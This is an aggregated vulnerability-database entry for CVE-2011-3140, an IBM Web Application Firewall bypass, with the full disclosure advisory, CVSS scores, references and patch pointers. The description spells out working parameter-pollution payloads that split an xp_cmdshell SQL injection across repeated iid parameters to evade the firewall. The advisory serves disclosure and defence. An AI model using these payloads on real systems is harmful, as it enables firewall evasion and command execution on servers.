ID

VAR-201108-0125


CVE

CVE-2011-3140


TITLE

IBM Web Application Firewall Security Bypass Vulnerability

Trust: 0.9

sources: BID: 48370 // CNNVD: CNNVD-201106-257

DESCRIPTION

IBM Web Application Firewall, as used on the G400 IPS-G400-IB-1 and GX4004 IPS-GX4004-IB-2 appliances with update 31.030, does not properly handle query strings with multiple instances of the same parameter, which allows remote attackers to bypass intended intrusion prevention by dividing a dangerous parameter value into substrings, as demonstrated by a SQL statement that is split across multiple iid parameters and then sent to a .aspx file on an IIS web server. IBM Web Application Firewall is prone to a security-bypass vulnerability. Successfully exploiting this issue will allow attackers to bypass security restrictions and perform unauthorized actions. Remote attackers can bypass preset intrusion defenses by splitting dangerous parameters into multiple substrings. Versions affected: Tested against G400 IPS-G400-IB-1 (Intrusion Prevention Update: 2011-03-11 00:34:23 - version: 31.030) and GX4004 IPS-GX4004-IB-2 (Intrusion Prevention Update: 2011-03-10 23:49:15 - version: 31.030). The issue occurs when an attacker submits repeated occurrences of the same parameter. The example shown below uses the following environment: A web environment using Microsoft IIS, ASP .NET technology, Microsoft SQL Server 2000, being protected by the IBM Web Application Firewall. http://sitename/find_ta_def.aspx?id=2571&iid='; EXEC master..xp_cmdshell "ping 10.1.1.3" -- IIS with ASP.NET (and even pure ASP) technology will concatenate the contents of a parameter if multiple entries are part of the request. http://sitename/find_ta_def.aspx?id=2571&iid='; EXEC master..xp_cmdshell &iid= "ping 10.1.1.3" -- IIS with ASP.NET (and even pure ASP) technology will concatenate both entries of iid parameter, however it will include an comma "," between them, resulting in the following output being sent to the database. '; EXEC master..xp_cmdshell , "ping 10.1.1.3" -- The request above will be identified and blocked (depending of configuration) by IBM Web application firewall, because it appears that "EXEC" and "xp_cmdshell" trigger an attack pattern. However, it is possible to split all the spaces in multiple parameters. For example: http://sitename/find_ta_def.aspx?id=2571&iid='; &iid= EXEC &iid= master..xp_cmdshell &iid= "ping 10.1.1.3" &iid= -- The above request will bypass the affected IBM Web application firewall, resulting in the following output being sent to the database. '; , EXEC , master..xp_cmdshell , "ping 10.1.1.3" , -- However, the above SQL code will not be properly executed because of the comma inserted on the SQL query, to solve this situation we will use SQL comments. http://sitename/find_ta_def.aspx?id=2571&iid='; /*&iid=1*/ EXEC /*&iid=1*/ master..xp_cmdshell /*&iid=1*/ "ping 10.1.1.3" /*&iid=1*/ -- The above request will bypass IBM Web application firewall, resulting in the following output being sent to the database, which is a valid and working SQL code. '; /*,1*/ EXEC /*,1*/ master..xp_cmdshell /*,1*/ "ping 10.1.1.3" /*,1*/ -- The above code will execute the ping command on the Microsoft Windows backend, assuming the application was running with administrative privileges. This attack class is also referenced sometimes as HTTP Pollution Attack, HTTP Parameter Pollution (HPP) and HTTP Parameter Concatenation. The exploitability of this issue depends of the infrastructure (WebServer, Development Framework Technology, etc) technology being used. Remediation Steps: IBM has released fixes to the above issue in the "Super Tuesday" patch released in June. Refer to the references section of the advisory for further information released by IBM. Revision History: 04/07/11 - Vulnerability disclosed 06/16/11 - Patch released 06/21/11 - Advisory published References: 1. http://www.iss.net/security_center/reference/vuln/HTTP_Parameter_Abuse.htm 2. http://xforce.iss.net/xforce/xfdb/67178 About Trustwave: Trustwave is the leading provider of on-demand and subscription-based information security and payment card industry compliance management solutions to businesses and government entities throughout the world. For organizations faced with today's challenging data security and compliance environment, Trustwave provides a unique approach with comprehensive solutions that include its flagship TrustKeeper compliance management software and other proprietary security solutions. Trustwave has helped thousands of organizations--ranging from Fortune 500 businesses and large financial institutions to small and medium-sized retailers--manage compliance and secure their network infrastructure, data communications and critical information assets. Trustwave is headquartered in Chicago with offices throughout North America, South America, Europe, Africa, China and Australia. For more information, visit https://www.trustwave.com About Trustwave's SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. This transmission may contain information that is privileged, confidential, and/or exempt from disclosure under applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or use of the information contained herein (including any reliance thereon) is STRICTLY PROHIBITED. If you received this transmission in error, please immediately contact the sender and destroy the material in its entirety, whether in electronic or hard copy format. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/

Trust: 2.07

sources: NVD: CVE-2011-3140 // JVNDB: JVNDB-2011-004866 // BID: 48370 // VULHUB: VHN-51085 // PACKETSTORM: 102481

AFFECTED PRODUCTS

vendor:ibmmodel:g400 ips-g400-ib-1 appliancescope:eqversion:31.030

Trust: 1.8

vendor:ibmmodel:gx4004 ips-gx4004-ib-2 appliancescope:eqversion:31.030

Trust: 1.8

vendor:ibmmodel:web application firewallscope:eqversion: -

Trust: 1.6

vendor:ibmmodel:web application firewallscope: - version: -

Trust: 0.8

vendor:ibmmodel:web application firewallscope:eqversion:0

Trust: 0.3

vendor:ibmmodel:security server z/osscope:eqversion:0

Trust: 0.3

sources: BID: 48370 // JVNDB: JVNDB-2011-004866 // CNNVD: CNNVD-201108-275 // NVD: CVE-2011-3140

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2011-3140
value: MEDIUM

Trust: 1.0

NVD: CVE-2011-3140
value: MEDIUM

Trust: 0.8

CNNVD: CNNVD-201108-275
value: MEDIUM

Trust: 0.6

VULHUB: VHN-51085
value: MEDIUM

Trust: 0.1

nvd@nist.gov: CVE-2011-3140
severity: MEDIUM
baseScore: 5.0
vectorString: AV:N/AC:L/AU:N/C:N/I:P/A:N
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: NONE
integrityImpact: PARTIAL
availabilityImpact: NONE
exploitabilityScore: 10.0
impactScore: 2.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.8

VULHUB: VHN-51085
severity: MEDIUM
baseScore: 5.0
vectorString: AV:N/AC:L/AU:N/C:N/I:P/A:N
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: NONE
integrityImpact: PARTIAL
availabilityImpact: NONE
exploitabilityScore: 10.0
impactScore: 2.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.1

sources: VULHUB: VHN-51085 // JVNDB: JVNDB-2011-004866 // CNNVD: CNNVD-201108-275 // NVD: CVE-2011-3140

PROBLEMTYPE DATA

problemtype:CWE-264

Trust: 1.9

sources: VULHUB: VHN-51085 // JVNDB: JVNDB-2011-004866 // NVD: CVE-2011-3140

THREAT TYPE

??

Trust: 0.6

sources: CNNVD: CNNVD-201106-257

TYPE

permissions and access control

Trust: 1.2

sources: CNNVD: CNNVD-201106-257 // CNNVD: CNNVD-201108-275

CONFIGURATIONS

sources: JVNDB: JVNDB-2011-004866

PATCH

title:IBM Web Application Securityurl:http://www-01.ibm.com/software/tivoli/products/security-network-intrusion-prevention/web-application-security.html

Trust: 0.8

sources: JVNDB: JVNDB-2011-004866

EXTERNAL IDS

db:NVDid:CVE-2011-3140

Trust: 2.8

db:BIDid:48370

Trust: 2.6

db:SECTRACKid:1025683

Trust: 1.7

db:SREASONid:8339

Trust: 1.1

db:JVNDBid:JVNDB-2011-004866

Trust: 0.8

db:CNNVDid:CNNVD-201108-275

Trust: 0.7

db:XFid:67178

Trust: 0.7

db:CNNVDid:CNNVD-201106-257

Trust: 0.6

db:BUGTRAQid:20110621 TWSL2011-006: IBM WEB APPLICATION FIREWALL BYPASS

Trust: 0.6

db:VULHUBid:VHN-51085

Trust: 0.1

db:PACKETSTORMid:102481

Trust: 0.1

sources: VULHUB: VHN-51085 // BID: 48370 // JVNDB: JVNDB-2011-004866 // PACKETSTORM: 102481 // CNNVD: CNNVD-201106-257 // CNNVD: CNNVD-201108-275 // NVD: CVE-2011-3140

REFERENCES

url:http://www.securityfocus.com/bid/48370

Trust: 2.3

url:https://www.trustwave.com/spiderlabs/advisories/twsl2011-006.txt

Trust: 2.1

url:http://www.iss.net/security_center/reference/vuln/http_parameter_abuse.htm

Trust: 1.8

url:http://securitytracker.com/id?1025683

Trust: 1.7

url:http://www.securityfocus.com/archive/1/518556/100/0/threaded

Trust: 1.1

url:http://securityreason.com/securityalert/8339

Trust: 1.1

url:https://exchange.xforce.ibmcloud.com/vulnerabilities/67178

Trust: 1.1

url:http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2011-3140

Trust: 0.8

url:http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2011-3140

Trust: 0.8

url:http://xforce.iss.net/xforce/xfdb/67178

Trust: 0.7

url:http://www.securityfocus.com/archive/1/archive/1/518556/100/0/threaded

Trust: 0.6

url:http://www.ibm.com/

Trust: 0.3

url:/archive/1/518556

Trust: 0.3

url:https://www.trustwave.com/spiderlabs

Trust: 0.1

url:http://secunia.com/

Trust: 0.1

url:http://sitename/find_ta_def.aspx?id=2571&iid=';

Trust: 0.1

url:http://lists.grok.org.uk/full-disclosure-charter.html

Trust: 0.1

url:https://www.trustwave.com

Trust: 0.1

sources: VULHUB: VHN-51085 // BID: 48370 // JVNDB: JVNDB-2011-004866 // PACKETSTORM: 102481 // CNNVD: CNNVD-201106-257 // CNNVD: CNNVD-201108-275 // NVD: CVE-2011-3140

CREDITS

Wendel Guglielmetti Henrique of Trustwave's SpiderLabs

Trust: 0.9

sources: BID: 48370 // CNNVD: CNNVD-201106-257

SOURCES

db:VULHUBid:VHN-51085
db:BIDid:48370
db:JVNDBid:JVNDB-2011-004866
db:PACKETSTORMid:102481
db:CNNVDid:CNNVD-201106-257
db:CNNVDid:CNNVD-201108-275
db:NVDid:CVE-2011-3140

LAST UPDATE DATE

2024-08-14T13:58:48.907000+00:00


SOURCES UPDATE DATE

db:VULHUBid:VHN-51085date:2018-10-09T00:00:00
db:BIDid:48370date:2015-04-13T21:01:00
db:JVNDBid:JVNDB-2011-004866date:2012-03-27T00:00:00
db:CNNVDid:CNNVD-201106-257date:2011-06-23T00:00:00
db:CNNVDid:CNNVD-201108-275date:2011-08-16T00:00:00
db:NVDid:CVE-2011-3140date:2018-10-09T19:33:10.120

SOURCES RELEASE DATE

db:VULHUBid:VHN-51085date:2011-08-15T00:00:00
db:BIDid:48370date:2011-06-21T00:00:00
db:JVNDBid:JVNDB-2011-004866date:2012-03-27T00:00:00
db:PACKETSTORMid:102481date:2011-06-21T19:52:25
db:CNNVDid:CNNVD-201106-257date:1900-01-01T00:00:00
db:CNNVDid:CNNVD-201108-275date:2011-08-16T00:00:00
db:NVDid:CVE-2011-3140date:2011-08-15T21:55:03.283